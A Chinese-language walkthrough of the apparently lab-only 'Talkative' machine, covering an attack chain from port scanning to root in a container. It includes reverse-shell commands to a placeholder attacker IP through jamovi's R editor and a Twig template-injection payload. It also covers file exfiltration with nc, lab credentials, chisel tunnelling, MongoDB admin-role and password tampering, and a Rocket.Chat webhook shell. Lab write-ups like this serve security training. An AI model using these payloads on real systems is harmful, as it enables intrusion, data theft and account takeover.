多种技巧实战之Talkative
字数 2064 2025-08-24 07:48:33
Talkative 渗透测试实战教学文档
一、信息收集阶段
1. 端口扫描
- 使用工具:
nmap - 发现开放端口:
- 80端口:Apache服务
- 8080、8081、8082端口:Tornado框架(基于Python的Web框架)
- 3000端口:类似HTTP服务
- 操作系统推测:基于Apache版本,可能运行Ubuntu 22.04 jammy
2. 目录爆破
- 使用工具:
wfuzz - 对80端口进行爆破,未发现有用信息
- 访问80端口发现公司介绍网站,模板适用于聊天/通话应用程序
- 收集到多个邮箱和用户名,可用于后续爆破
3. 框架识别
- 通过报错提示发现使用Bolt CMS(PHP编写)
- 使用
feroxbuster -x php进行目录fuzz,未发现可利用点
二、漏洞利用阶段
1. Rocket Chat实例(3000端口)
- 可注册用户,但未发现直接可利用点
2. Jamovi框架RCE(8080端口)
- 发现历史漏洞(CVE)
- 在"分析"选项卡中找到"Rj Editor"编辑器
- 命令执行方法:
system("id", intern=TRUE) # 测试命令执行 system("whoami", intern=TRUE) # 确认执行权限 - 反弹shell命令:
system("bash -c 'bash -i >& /dev/tcp/攻击者IP/443 0<&1'", intern=TRUE)
3. 第一次获取Shell
- 使用
nc监听443端口 - 获取交互式shell:
script /dev/null -c bash - 信息收集:
- 查看网络连接:
cat /proc/net/tcp - 查看进程:
ps aux - 文件系统检查:无/home目录,有/root目录
- 查看网络连接:
4. 获取敏感信息
- 在/root目录发现
bolt-administration.omv文件 - 使用
nc传输文件到本地:- 接收端:
nc -lvnp 4444 > bolt-administration.omv - 发送端:
nc 攻击者IP 4444 < bolt-administration.omv
- 接收端:
- 检查文件:
- MD5校验:
md5sum bolt-administration.omv - 文件类型:
file bolt-administration.omv - 解压查看:
unzip -l bolt-administration.omv
- MD5校验:
- 从解压后的JSON文件中获取用户凭据:
- matt@talkative.htb:jeO09ufhWD<s
- janit@talkative.htb:bZ89h}V<S_DA
三、权限提升阶段
1. Bolt CMS管理面板利用
- 使用获取的凭据登录Bolt CMS
- 检查配置文件发现限制:
- 无法上传PHP文件
- 使用base-2021主题
2. 模板编辑与命令执行
- 路径:查看和编辑模板 → base-2021 → index.twig
- 插入Twig模板命令执行payload:
{{['bash -c "bash -i >& /dev/tcp/攻击者IP/4444 0<&1"']|filter('system')}} - 清除缓存使更改生效:维护 → 清除缓存
3. 第二次获取Shell
- 确认主机为Docker容器(存在/.dockerenv文件)
- 主机名:ba67799048d7,IP:172.17.0.10
4. SSH远程登录
- 使用之前获取的凭据尝试SSH登录172.17.0.1
- 成功登录后发现多个Docker容器:
- 172.18.0.2:jamovi容器
- 172.17.0.3:Rocket Chat(端口3000)
- 172.17.0.4-19:其他服务
- 172.17.0.2:无端口转发
5. MongoDB数据库利用
- 上传
nmap进行全端口扫描,发现27017端口(MongoDB) - 使用
chisel建立隧道:- 攻击机启动服务端:
./chisel_1.7.7_linux_amd64 server -p 8000 --reverse - 目标机连接:
./chisel client 攻击者IP:8000 R:27017:172.17.0.2:27017
- 攻击机启动服务端:
- 枚举数据库:
- 连接MongoDB:
mongo - 查看数据库:
show dbs - 使用meteor数据库:
use meteor - 查看用户集合:
db.users.find()
- 连接MongoDB:
- 权限提升:
- 修改管理员角色:
db.users.update({"_id": "ZLMid6a4h5YEosPQi"}, {$set: {"roles" : ["admin"]}}) - 重置管理员密码:
db.getCollection('users').update({username:"administrator"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG"}}}})
- 修改管理员角色:
6. Rocket Chat WebHook利用
- 创建新WebHook:
- 集成 → 新集成
- 指向#general频道
- 插入JavaScript反弹shell代码(来自revshells.com)
- 触发WebHook获取第三个shell:
curl http://talkative.htb:3000/hooks/WebHookID
四、最终权限提升
1. 使用CDK工具
- 上传CDK工具(容器渗透测试专用工具)
- 使用pwncat连接:
pwncat-cs 攻击者IP:端口
2. 获取root.txt
- 使用CDK读取root.txt:
./cdk run cap-dac-read-search /root/root.txt
五、总结与攻击路径
- 通过端口扫描发现多个服务
- 利用Jamovi框架的RCE漏洞获取初始shell
- 从容器中获取Bolt CMS管理员凭据
- 通过Twig模板注入获取第二个shell
- 通过SSH登录到主机
- 发现内网MongoDB服务并利用未授权访问
- 通过Rocket Chat WebHook获取第三个shell
- 使用CDK工具最终获取root权限
六、关键工具清单
- 信息收集:nmap, wfuzz, feroxbuster
- 漏洞利用:Rj Editor, Twig模板注入
- 文件传输:nc
- 隧道工具:chisel
- 数据库工具:mongo client
- 后渗透工具:CDK, pwncat
- 反弹shell生成:revshells.com